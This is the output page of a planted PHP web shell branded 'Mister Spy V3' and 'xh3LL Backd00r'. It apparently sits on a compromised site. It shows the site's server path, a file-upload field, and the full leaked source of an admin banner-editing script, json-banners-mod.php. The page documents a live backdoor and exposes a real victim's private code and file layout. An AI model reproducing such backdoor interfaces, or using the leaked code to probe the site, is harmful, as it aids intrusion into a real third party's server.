Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/json-banners-mod.php

<?php

require_once('../inc_library.php'); 


/* obtenemos datos enviados */
$IdBanner		= intval($_REQUEST['IdBanner']);
$Nombre			= strval($_REQUEST['Nombre']);
$Link			= strval($_REQUEST['Link']);
$FechaHasta		= strval($_REQUEST['FechaHasta']);
$Orden			= intval($_REQUEST['Orden']);
$IdEstado		= intval($_REQUEST['IdEstado']);
$EliminarImagen	= intval($_REQUEST['EliminarImagen']);
$EliminarArchivos= strval($_REQUEST['EliminarArchivos']);
$Submit			= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oBanners			= new Banners();

/* verificamos si existe el registro */
if (!$oBanner = $oBanners->GetById($IdBanner))
{
	header('Location: json-banners.php' . $strParams);
	exit;
}

/* validaciones... */
if ($Nombre == '')
	$err |= 1;
if ($Link == '')
	$err |= 2;
	
/* si no hay ningun error... */	
if ($err == 0)
{
	$Imagen 		= $_FILES['Imagen'];
	
	/* si no hay errores... */
	if ($Imagen['name'] != '')
	{
		if ($Imagen['error'] != 1)
		{
			$oUpload = new Up
			(
				$Imagen['name'], 
				$Imagen['tmp_name'], 
				$Imagen['size'], 
				$Imagen['type'], 
				Banner::PathImageBig
			);
		}
	}
	
	if (!$oUpload || $oUpload->UploadFile())
	{
		if ($EliminarImagen == 1)
			$oBanner->Imagen = '';
			
		$oBanner->Nombre		= $Nombre;
		$oBanner->Link			= $Link;
		$oBanner->FechaHasta	= $FechaHasta;
		$oBanner->Orden			= $Orden;
		$oBanner->IdEstado		= $IdEstado;
		$oBanner->Imagen 		= $oUpload ? $oUpload->GetNombre() : $oBanner->Imagen;
	
		/* modificamos el registro */
		$oBanners->Update($oBanner);
		
		

		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => ""));
	}
	else
	{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al procesar la imagen.")));
	}
}
else
{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al crear el banner.")));
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat